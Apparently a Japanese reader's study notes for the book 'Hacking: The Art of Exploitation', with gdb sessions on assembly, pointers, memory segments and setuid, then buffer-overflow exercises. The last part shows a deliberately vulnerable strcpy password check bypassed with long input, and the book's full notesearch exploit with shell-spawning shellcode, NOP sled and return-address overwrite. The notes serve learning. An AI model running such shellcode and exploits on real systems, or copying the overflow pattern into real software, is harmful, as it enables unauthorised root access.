Hacking 美しき策謀 ~ 0x100 はじめに – 0x300 プログラムの脆弱性攻撃 ~
Hacking 美しき策謀 Reading
範囲
0x100 はじめに ~ 0x300 プログラムの脆弱性攻撃
環境
リージョン: us-west-2
Racemi-CentOS-6-i386-HVM-20141112085400 (ami-37e5ae07)
CentOS5は保証外だったりでめんどい。
Amazon Linuxの32bitは全部Paravirtual
AWS上でやるにはCentOS6で32bitのHVMを選択するのが良さそう
準備
debuginfo-install glibc-2.17-157.170.amzn1.x86_64は入れておかないとgdbデバッグの際に忠告が出るので予めインストール。
$ vim ~/.ssh/config
$ ssh 32bit
# cd /home/centos/
# curl -L http://www.oreilly.co.jp/pub/9784873115146/HackingJ.zip > code.zip
# unzip code.zip
# cd Hacking/0x200/
# yum install -y gdb gcc debuginfo-install glibc-2.17-157.170.amzn1.x86_64
0x253: アセンブリ言語
gdbにIntel記法の設定
永続化しない場合は上、する場合は下
# gdb -q
(gdb) set disassembly-flavor intel
(gdb) quit
# echo "set disassembly-flavor intel" > ~/.gdbinit
set disassembly-flavor intel > /root/.gdbinit
gdbを触ってみる。
まずは、メイン関数の逆アセンブルやレジスタの内容。
# gcc -g firstprog.c
# gdb -q ./a.out
(gdb) list
1 #include <stdio.h>
2
3 int main()
4 {
5 int i;
6 for (i = 0; i < 10; i++) // 10回繰り返す
7 {
8 printf("Hello, world!\n"); // 文字列を出力する
9 }
10 return 0; // プログラムが問題なく終了したことをOSに知らせる
(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: and $0xfffffff0,%esp
0x080483ba <+6>: sub $0x20,%esp
0x080483bd <+9>: movl $0x0,0x1c(%esp)
0x080483c5 <+17>: jmp 0x80483d8 <main+36>
0x080483c7 <+19>: movl $0x80484b4,(%esp)
0x080483ce <+26>: call 0x80482f0 <puts@plt>
0x080483d3 <+31>: addl $0x1,0x1c(%esp)
0x080483d8 <+36>: cmpl $0x9,0x1c(%esp)
0x080483dd <+41>: jle 0x80483c7 <main+19>
0x080483df <+43>: mov $0x0,%eax
0x080483e4 <+48>: leave
0x080483e5 <+49>: ret
End of assembler dump.
(gdb) break main
Breakpoint 1 at 0x80483bd: file firstprog.c, line 6.
(gdb) run
Starting program: /home/centos/Hacking/0x200/a.out
Breakpoint 1, main () at firstprog.c:6
6 for (i = 0; i < 10; i++) // 10回繰り返す
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/a.out
Breakpoint 1, main () at firstprog.c:6
6 for (i = 0; i < 10; i++) // 10回繰り返す
(gdb) info register
eax 0xbffff674 -1073744268
ecx 0xa702aace -1492997426
edx 0x1 1
ebx 0x2c4ff4 2904052
esp 0xbffff5a0 0xbffff5a0
ebp 0xbffff5c8 0xbffff5c8
esi 0x0 0
edi 0x0 0
eip 0x80483bd 0x80483bd <main+9>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) i r eip
eip 0x80483bd 0x80483bd <main+9>
eipレジスタの値について、いろんな進数で表示
(gdb) x/o 0x80483bd
0x80483bd <main+9>: 03411042307
(gdb) x/x $eip
0x80483bd <main+9>: 0x1c2444c7
(gdb) x/u $eip
0x80483bd <main+9>: 472138951
(gdb) x/t $eip
0x80483bd <main+9>: 00011100001001000100010011000111
eipレジスタを含む連続したアドレスの値を表示 <- 指定したアドレスから始まる複数グループのデータを表示
b,h,w,gで表示単位のサイズを表示
(gdb) x/2x $eip
0x80483bd <main+9>: 0x1c2444c7 0x00000000
(gdb) x/12x $eip
0x80483bd <main+9>: 0x1c2444c7 0x00000000 0x04c711eb 0x0484b424
0x80483cd <main+25>: 0xff1de808 0x4483ffff 0x83011c24 0x091c247c
0x80483dd <main+41>: 0x00b8e87e 0xc9000000 0x909090c3 0x90909090
(gdb) x/8xb $eip
0x80483bd <main+9>: 0xc7 0x44 0x24 0x1c 0x00 0x00 0x00 0x00
(gdb) x/8xh $eip
0x80483bd <main+9>: 0x44c7 0x1c24 0x0000 0x0000 0x11eb 0x04c7 0xb424 0x0484
(gdb) x/8xw $eip
0x80483bd <main+9>: 0x1c2444c7 0x00000000 0x04c711eb 0x0484b424
0x80483cd <main+25>: 0xff1de808 0x4483ffff 0x83011c24 0x091c247c
(gdb) x/4xb $eip
0x80483bd <main+9>: 0xc7 0x44 0x24 0x1c
(gdb) x/4ub $eip
0x80483bd <main+9>: 199 68 36 28
(gdb) x/1xw $eip
0x80483bd <main+9>: 0x1c2444c7
(gdb) x/1uw $eip
0x80483bd <main+9>: 472138951
(gdb) quit
A debugging session is active.
デフォルトは、AT&T記法
(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: and $0xfffffff0,%esp
0x080483ba <+6>: sub $0x20,%esp
=> 0x080483bd <+9>: movl $0x0,0x1c(%esp)
0x080483c5 <+17>: jmp 0x80483d8 <main+36>
0x080483c7 <+19>: movl $0x80484b4,(%esp)
0x080483ce <+26>: call 0x80482f0 <puts@plt>
0x080483d3 <+31>: addl $0x1,0x1c(%esp)
0x080483d8 <+36>: cmpl $0x9,0x1c(%esp)
0x080483dd <+41>: jle 0x80483c7 <main+19>
0x080483df <+43>: mov $0x0,%eax
0x080483e4 <+48>: leave
0x080483e5 <+49>: ret
End of assembler dump.
Intel記法へ変更(一時的な変更)
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 <+0>: push ebp
0x080483b5 <+1>: mov ebp,esp
0x080483b7 <+3>: and esp,0xfffffff0
0x080483ba <+6>: sub esp,0x20
=> 0x080483bd <+9>: mov DWORD PTR [esp+0x1c],0x0
0x080483c5 <+17>: jmp 0x80483d8 <main+36>
0x080483c7 <+19>: mov DWORD PTR [esp],0x80484b4
0x080483ce <+26>: call 0x80482f0 <puts@plt>
0x080483d3 <+31>: add DWORD PTR [esp+0x1c],0x1
0x080483d8 <+36>: cmp DWORD PTR [esp+0x1c],0x9
0x080483dd <+41>: jle 0x80483c7 <main+19>
0x080483df <+43>: mov eax,0x0
0x080483e4 <+48>: leave
0x080483e5 <+49>: ret
End of assembler dump.
補足
Amazon Linuxの64bitだと以下のようになる
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400500 <+0>: push rbp
0x0000000000400501 <+1>: mov rbp,rsp
0x0000000000400504 <+4>: sub rsp,0x10
0x0000000000400508 <+8>: mov DWORD PTR [rbp-0x4],0x0
0x000000000040050f <+15>: jmp 0x40051f <main+31>
0x0000000000400511 <+17>: mov edi,0x4005c0
0x0000000000400516 <+22>: call 0x4003e0 <puts@plt>
0x000000000040051b <+27>: add DWORD PTR [rbp-0x4],0x1
=> 0x000000000040051f <+31>: cmp DWORD PTR [rbp-0x4],0x9
0x0000000000400523 <+35>: jle 0x400511 <main+17>
0x0000000000400525 <+37>: mov eax,0x0
0x000000000040052a <+42>: leave
0x000000000040052b <+43>: ret
End of assembler dump.
(gdb) info register
rax 0x400500 4195584
rbx 0x0 0
rcx 0x400530 4195632
rdx 0x7fffffffe2b0 140737488347824
rsi 0x7fffffffe298 140737488347800
rdi 0x2 2
rbp 0x7fffffffe1b0 0x7fffffffe1b0
rsp 0x7fffffffe1a0 0x7fffffffe1a0
r8 0x7ffff7dd6e80 140737351872128
r9 0x0 0
r10 0x7fffffffe000 140737488347136
r11 0x7ffff7a3ba40 140737348090432
r12 0x400410 4195344
r13 0x7fffffffe290 140737488347792
r14 0x0 0
r15 0x0 0
rip 0x40051f 0x40051f <main+31>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
レジスタの内容をいろんな表示方法で確認
(gdb) i r $eip
eip 0x80483bd 0x80483bd <main+9>
(gdb) x/i $eip
=> 0x80483bd <main+9>: mov DWORD PTR [esp+0x1c],0x0
(gdb) x/3i $eip
=> 0x80483bd <main+9>: mov DWORD PTR [esp+0x1c],0x0
0x80483c5 <main+17>: jmp 0x80483d8 <main+36>
0x80483c7 <main+19>: mov DWORD PTR [esp],0x80484b4
(gdb) i r ebp
ebp 0xbffff5c8 0xbffff5c8
(gdb) i r esp
esp 0xbffff5a0 0xbffff5a0
(gdb) x/4xb $esp + 0x1c
0xbffff5bc: 0xf4 0x4f 0x2c 0x00
(gdb) print $esp+0x1c
$1 = (void *) 0xbffff5bc
(gdb) x/xw $1
0xbffff5bc: 0x002c4ff4
(gdb) x/6cb 0x80484b4
0x80484b4 <__dso_handle+4>: 72 'H' 101 'e' 108 'l' 108 'l' 111 'o' 44 ','
(gdb) x/s 0x80484b4
0x80484b4 <__dso_handle+4>: "Hello, world!"
(gdb) x/5i $eip
=> 0x80483bd <main+9>: mov DWORD PTR [esp+0x1c],0x0
0x80483c5 <main+17>: jmp 0x80483d8 <main+36>
0x80483c7 <main+19>: mov DWORD PTR [esp],0x80484b4
0x80483ce <main+26>: call 0x80482f0 <puts@plt>
0x80483d3 <main+31>: add DWORD PTR [esp+0x1c],0x1
(gdb) x/xw $esp
0xbffff5a0: 0x002c31d8
(gdb) nexti
0x080483c5 6 for (i = 0; i < 10; i++) // 10回繰り返す
(gdb) x/xw $esp
0xbffff5a0: 0x002c31d8
(gdb) x/i $eip
=> 0x80483c5 <main+17>: jmp 0x80483d8 <main+36>
(gdb) nexti
0x080483d8 6 for (i = 0; i < 10; i++) // 10回繰り返す
(gdb) quit
0x200 プログラミング
strcpyの呼び出し前後でeipの値が0x80483fdから大きく変わり元に戻り、その後進んでいる。
# echo "set disassembly-flavor intel" > ~/.gdbinit
# gdb -q char_array2
Reading symbols from /home/centos/Hacking/0x200/char_array2...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20];
6
7 strcpy(str_a, "Hello, world!\n");
8 printf(str_a);
9 }
(gdb) info breakpoints
No breakpoints or watchpoints.
(gdb) break 6
Breakpoint 1 at 0x80483fd: file char_array2.c, line 6.
(gdb) break strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (strcpy) pending.
(gdb) break 8
Breakpoint 3 at 0x804841a: file char_array2.c, line 8.
(gdb) run
Starting program: /home/centos/Hacking/0x200/char_array2
Breakpoint 2, 0x00bef023 in strcpy () from /lib/ld-linux.so.2
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/char_array2
Breakpoint 2, 0x00bef023 in strcpy () from /lib/ld-linux.so.2
(gdb) i r eip
eip 0xbef023 0xbef023 <strcpy+3>
(gdb) c
Continuing.
Breakpoint 1, main () at char_array2.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) i r eip
eip 0x80483fd 0x80483fd <main+9>
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/char_array2
Breakpoint 2, 0x00bef023 in strcpy () from /lib/ld-linux.so.2
(gdb) i r eip
eip 0xbef023 0xbef023 <strcpy+3>
(gdb) c
Continuing.
Breakpoint 1, main () at char_array2.c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) i r eip
eip 0x80483fd 0x80483fd <main+9>
(gdb) x/5i $eip
=> 0x80483fd <main+9>: mov eax,0x80484f4
0x8048402 <main+14>: mov DWORD PTR [esp+0x8],0xf
0x804840a <main+22>: mov DWORD PTR [esp+0x4],eax
0x804840e <main+26>: lea eax,[esp+0x1c]
0x8048412 <main+30>: mov DWORD PTR [esp],eax
(gdb) c
Continuing.
Breakpoint 3, main () at char_array2.c:8
8 printf(str_a);
(gdb) i r eip
eip 0x804841a 0x804841a <main+38>
(gdb) x/5i $eip
=> 0x804841a <main+38>: lea eax,[esp+0x1c]
0x804841e <main+42>: mov DWORD PTR [esp],eax
0x8048421 <main+45>: call 0x8048324 <printf@plt>
0x8048426 <main+50>: leave
0x8048427 <main+51>: ret
ポインタを使った場合のメモリアドレスの使われ方について調査
# gcc -g -o pointer pointer.c
# gdb -q ./pointer
Reading symbols from /home/centos/Hacking/0x200/pointer...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main() {
5 char str_a[20]; // 20個の要素を持つ文字の配列
6 char *pointer; // 文字の配列を指すポインタ
7 char *pointer2; // 同じく、文字の配列を指すポインタ
8
9 strcpy(str_a, "Hello, world!\n");
10 pointer = str_a; // 1つ目のポインタが配列の先頭を指すように設定する
(gdb)
11 printf(pointer); // 1つ目のポインタが指している文字列を表示する
12
13 pointer2 = pointer + 2; // 2つ目のポインタは2バイト先を指すように設定する
14 printf(pointer2); // 2つ目のポインタが指している文字列を表示する
15 strcpy(pointer2, "y you guys!\n"); // その場所に他の文字列をコピーする
16 printf(pointer); // 1つ目のポインタが指している文字列を表示する
17 }
(gdb) break 11
Breakpoint 1 at 0x8048422: file pointer.c, line 11.
(gdb) run
Starting program: /home/centos/Hacking/0x200/pointer
Breakpoint 1, main () at pointer.c:11
11 printf(pointer); // 1つ目のポインタが指している文字列を表示する
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/pointer
Breakpoint 1, main () at pointer.c:11
11 printf(pointer); // 1つ目のポインタが指している文字列を表示する
(gdb) x/xw pointer
0xbffff5a4: 0x6c6c6548 <- 0x6c6c6548はリトリエンディアンの16進数表記でhelloという文字列を表している
(gdb) x/s pointer
0xbffff5a4: "Hello, world!\n" <- str_aに"Hello, world!\n"の値がコピーされて、pointerのstr_aの値を参照している。
(gdb) x/xw &pointer
0xbffff5b8: 0xbffff5a4 <- pointerが格納されているアドレス
(gdb) print &pointer
$1 = (char **) 0xbffff5b8 <- pointerが格納されているアドレス
(gdb) print pointer
$2 = 0xbffff5a4 "Hello, world!\n" <- pointerは0xbffff5a4のアドレスに置かれた"Hello, world!\n"という値を指している。
# gcc -g -o addressof addressof.c
# gdb -q addressof
(gdb) list
1 #include <stdio.h>
2
3 int main() {
4 int int_var = 5;
5 int *int_ptr;
6
7 int_ptr = &int_var; // int_varのアドレスをint_ptrに設定する
8 }
(gdb)
Line number 9 out of range; addressof.c has 8 lines.
(gdb) break 8
Breakpoint 1 at 0x80483a7: file addressof.c, line 8.
(gdb) run
Starting program: /home/centos/Hacking/0x200/addressof
Breakpoint 1, main () at addressof.c:8
8 }
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) print int_var
$1 = 5 <- int_varの指している値は5
(gdb) print &int_var
$2 = (int *) 0xbffff5b0 <- int_varの指しているアドレスは0xbffff5b0
(gdb) print int_ptr
$3 = (int *) 0xbffff5b0 <- int_ptrの指しているアドレスは0xbffff5b0
(gdb) print &int_ptr
$4 = (int **) 0xbffff5b4 <- int_ptrの配置されているアドレスは0xbffff5b4
(gdb) print *int_ptr
$5 = 5 <- int_ptrの指している値は、指しているint_varのアドレス 0xbffff5b0 先の値の5
0x267: 変数のスコープ
静的変数はそれぞれの関数コンテキスト内の局所的な変数として扱われるため、0x8049738や0x804973cのように異なるメモリアドレスとなっており別の変数
局所アドレスは、0xbf8cbcdcという高位のアドレス。静的変数は、0x8049738や0x804973cの低位のアドレス。
こういう着眼点がHackingで大事な視点。この後、詳細説明。
# gcc -g -o static2 static2.c
# cat static2.c
#include <stdio.h>
void function() { // functionは独自のコンテキストを持つ
int var = 5;
static int static_var = 5; // 静的変数の初期化
printf("\t[function内] var @ %p = %d\n", &var, var);
printf("\t[function内] static_var @ %p = %d\n", &static_var, static_var);
var++; // varの値をインクリメント
static_var++; // static_varの値をインクリメント
}
int main() { // mainは独自のコンテキストを持つ
int i;
static int static_var = 1337; // 独立したコンテキスト内における独立した静的変数
for(i=0; i < 5; i++) { // 5回繰り返す
printf("[main内] static_var @ %p = %d\n", &static_var, static_var);
function(); // functionを呼び出す
}
}
# ./static2
[main内] static_var @ 0x8049738 = 1337
[function内] var @ 0xbf8cbcdc = 5
[function内] static_var @ 0x804973c = 5
[main内] static_var @ 0x8049738 = 1337
[function内] var @ 0xbf8cbcdc = 5
[function内] static_var @ 0x804973c = 6
[main内] static_var @ 0x8049738 = 1337
[function内] var @ 0xbf8cbcdc = 5
[function内] static_var @ 0x804973c = 7
[main内] static_var @ 0x8049738 = 1337
[function内] var @ 0xbf8cbcdc = 5
[function内] static_var @ 0x804973c = 8
[main内] static_var @ 0x8049738 = 1337
[function内] var @ 0xbf8cbcdc = 5
[function内] static_var @ 0x804973c = 9
0x270: メモリのセグメント化
初期化を行っているglobal_initialized_varとstatic_initialized_varのメモリアドレスは低位に、つまりデータセグメント
初期化を行っていないstatic_varとglobal_varはbssセグメント。データセグメントよりも少し高位
ヒープを指すポインタはヒープセグメントでbssセグメントよりも少し高位
静的変数であるmain()とfunction()のstatic_varのメモリアドレスは非常に大きなアドレス。スタックセグメントは、メモリアドレスの高位からヒープセグメントのある低位に向かって成長していく。
# gcc -o memory_segments memory_segments.c
# cat memory_segments.c
#include <stdio.h>
int global_var;
int global_initialized_var = 5;
void function() { // これはただのデモ用関数
int stack_var; // この変数はmain()内の変数と同じ名前となっている
printf("function()のstack_varは、アドレス0x%08xにあります。\n", &stack_var);
}
int main() {
int stack_var; // function()内と同じ名前の変数
static int static_initialized_var = 5;
static int static_var;
int *heap_var_ptr;
heap_var_ptr = (int *) malloc(4);
// 以下の変数はデータセグメント内に確保される
printf("global_initialized_varはアドレス0x%08xにあります。\n",
&global_initialized_var);
printf("static_initialized_varはアドレス0x%08xにあります。\n\n",
&static_initialized_var);
// 以下の変数はbssセグメント内に確保される
printf("static_varはアドレス0x%08xにあります。\n", &static_var);
printf("global_varはアドレス0x%08xにあります。\n\n", &global_var);
// 以下のポインタ変数はヒープセグメント内を指し示す
printf("heap_var_ptrはアドレス0x%08xを指しています。\n\n", heap_var_ptr);
// 以下の変数はスタックセグメント内に確保される
printf("stack_varはアドレス0x%08xにあります。\n", &stack_var);
function();
}
# ./memory_segments
global_initialized_varはアドレス0x080498b0にあります。
static_initialized_varはアドレス0x080498b4にあります。
static_varはアドレス0x080498c0にあります。
global_varはアドレス0x080498c4にあります。
heap_var_ptrはアドレス0x081a3008を指しています。
stack_varはアドレス0xbfdc8e28にあります。
function()のstack_varは、アドレス0xbfdc8dfcにあります。
0x283: ユーザーID
Amazon Linux AMIでsetuid権限を設定しても実行uidが0にならず
$ gcc -o uid_demo uid_demo.c
$ cat uid_demo.c
#include <stdio.h>
int main() {
printf("実uid: %d\n", getuid());
printf("実効uid: %d\n", geteuid());
}
$ ls -l uid_demo
-rwxrwxr-x 1 ec2-user ec2-user 6981 Feb 13 15:51 uid_demo
$ ./uid_demo
実uid: 500
実効uid: 500
$ sudo chmod u+s ./uid_demo
$ ls -l uid_demo
-rwsrwxr-x 1 ec2-user ec2-user 6981 Feb 13 15:51 uid_demo
$ ./uid_demo
実uid: 500
実効uid: 500 <- root権限で実行している場合0になって欲しい
$ id ec2-user
uid=500(ec2-user) gid=500(ec2-user) groups=500(ec2-user),10(wheel)
$ id root
uid=0(root) gid=0(root) groups=0(root)
0x300 プログラムの脆弱性攻撃
バッファオーバーフロー
0x321: スタック上でのバッファオーバーフロー攻撃
$ cat auth_overflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("使用方法: %s <パスワード>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" アクセスを許可します。\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nアクセスを拒否しました。\n");
}
}
# gcc -g -o auth_overflow auth_overflow.c
# ./auth_overflow
使用方法: ./auth_overflow <パスワード>
# ./auth_overflow test
アクセスを拒否しました。
# ./auth_overflow billing
アクセスを拒否しました。
# ./auth_overflow billig
アクセスを拒否しました。
# ./auth_overflow brillig
-=-=-=-=-=-=-=-=-=-=-=-=-=-
アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
# ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-
アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
# ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (core dumped)
# ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (core dumped)
# gdb -q auth_overflow
Reading symbols from /home/centos/Hacking/0x300/auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 int auth_flag = 0;
7 char password_buffer[16];
8
9 strcpy(password_buffer, password);
10
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/centos/Hacking/0x300/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program received signal SIGSEGV, Segmentation fault.
main (argc=Cannot access memory at address 0xbf004149
) at auth_overflow.c:31
31 }
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) break 9
Breakpoint 1 at 0x8048491: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x80484df: file auth_overflow.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x300/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check_authentication (password=0xbffff78f 'A' <repeats 30 times>) at auth_overflow.c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff54c: "@\203\004\b" <- ゴミデータが入っているだけ
(gdb) x/x &auth_flag
0xbffff55c: 0x00
(gdb) print 0xbffff55c - 0xbffff54c
$1 = 16 <- password_bufferとauth_flagのアドレス位置の距離が16バイトなので17文字以上でバッファーオーバーフローを起こせることになる。
(gdb) x/16xw password_buffer
0xbffff54c: 0x08048340 0x01e00000 0x08049868 0xbffff588
0xbffff55c: 0x00000000 0x002c31d8 0x08048284 0xbffff588
0xbffff56c: 0x08048525 0xbffff78f 0x080483d0 0x0804857b
0xbffff57c: 0x002c4ff4 0x08048570 0x00000000 0xbffff608
(gdb) continue
Continuing.
Breakpoint 2, check_authentication (password=0xbffff78f 'A' <repeats 30 times>) at auth_overflow.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff54c: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff55c: 0x41
(gdb) x/16xw password_buffer
0xbffff54c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff55c: 0x41414141 0x41414141 0x41414141 0xbf004141
0xbffff56c: 0x08048525 0xbffff78f 0x080483d0 0x0804857b
0xbffff57c: 0x002c4ff4 0x08048570 0x00000000 0xbffff608
(gdb) x/4cb &auth_flag
0xbffff55c: 65 'A' 65 'A' 65 'A' 65 'A'
(gdb) x/dx &auth_flag
0xbffff55c: 0x41
(gdb) x/dw &auth_flag
0xbffff55c: 1094795585
以下の宣言順序を入れ替えるだけで失敗するようになる。メモリセグメントの構造を考えると当然。
int auth_flag = 0;
char password_buffer[16];
$ diff -c auth_overflow.c auth_overflow2.c
*** auth_overflow.c 2018-02-13 11:46:58.390897394 +0000
--- auth_overflow2.c 2018-02-13 11:46:58.650894277 +0000
***************
*** 3,10 ****
#include <string.h>
int check_authentication(char *password) {
- int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
--- 3,10 ----
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
+ int auth_flag = 0;
strcpy(password_buffer, password);
0x330: bashを用いた実験
$ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA
$ perl -e 'print "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAA
$ perl -e 'print "A" x 20 . "BCD" . "\x61\x66\x67\x69" x 2 ."Z";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ
$ $(perl -e 'print "uname";');
Linux
$ una`perl -e 'print "m";'`e
Linux
先程のバッファオーバーフロー攻撃に利用
# cd ../0x300/
# ./auth_overflow $(perl -e 'print "A" x 16;')
アクセスを拒否しました。
# ./auth_overflow $(perl -e 'print "A" x 17;')
-=-=-=-=-=-=-=-=-=-=-=-=-=-
アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
戻りアドレス上書きするテクニック
exploit_notesearch.c実行後、bufferの内容は、NOPスレッド | シェルコード | 戻りアドレスの繰り返し
- 戻りアドレスを的確な場所に書き込むことは難しい
- 戻りアドレスを複数回繰り返す
- この戻りアドレスが指している先は、同じbufferないに格納されているシェルコードの先頭でないといけない
- スタックは動的に変化するため、アドレスを予測することは難しい
- NOP(No Opeation)命令というアセンブリ命令を使用 → 誤差をごまかす詰め物として利用
- x86アーキテクチャにおけるnop命令は、16進数の0x90
# cat exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // 新たなメモリ領域をゼロクリアする。
strcpy(command, "./notesearch \'"); // コマンドバッファを開始する。
buffer = command + strlen(command); // バッファの終端を設定する。
if(argc > 1) // オフセットを設定する。
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // 戻りアドレスを設定する。
for(i=0; i < 160; i+=4) // 戻りアドレスでバッファを埋める。
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // NOPスレッドを構築する。
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // 脆弱性攻撃を実行する。
free(command);
}
# gcc -g exploit_notesearch.c
# gdb -q ./a.out
Reading symbols from /home/centos/Hacking/0x300/a.out...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
5 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
6 "\xe1\xcd\x80";
7
8 int main(int argc, char *argv[]) {
9 unsigned int i, *ptr, ret, offset=270;
10 char *command, *buffer;
(gdb)
11
12 command = (char *) malloc(200);
13 bzero(command, 200); // 新たなメモリ領域をゼロクリアする。
14
15 strcpy(command, "./notesearch \'"); // コマンドバッファを開始する。
16 buffer = command + strlen(command); // バッファの終端を設定する。
17
18 if(argc > 1) // オフセットを設定する。
19 offset = atoi(argv[1]);
20
(gdb)
21 ret = (unsigned int) &i - offset; // 戻りアドレスを設定する。
22
23 for(i=0; i < 160; i+=4) // 戻りアドレスでバッファを埋める。
24 *((unsigned int *)(buffer+i)) = ret;
25 memset(buffer, 0x90, 60); // NOPスレッドを構築する。
26 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
27
28 strcat(command, "\'");
29
30 system(command); // 脆弱性攻撃を実行する。
(gdb) break 25
Note: breakpoint 1 also set at pc 0x8048600.
Breakpoint 4 at 0x8048600: file exploit_notesearch.c, line 25.
(gdb) break 26
Note: breakpoint 2 also set at pc 0x804861c.
Breakpoint 5 at 0x804861c: file exploit_notesearch.c, line 26.
(gdb) break 27
Note: breakpoint 3 also set at pc 0x804863b.
Breakpoint 6 at 0x804863b: file exploit_notesearch.c, line 27.
(gdb) run
Starting program: /home/centos/Hacking/0x300/a.out
Breakpoint 1, main (argc=1, argv=0xbffff674) at exploit_notesearch.c:25
25 memset(buffer, 0x90, 60); // NOPスレッドを構築する。
(gdb) x/40x buffer
0x804a016: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
0x804a01e: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
0x804a026: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
0x804a02e: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
0x804a036: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
(gdb) x/s command
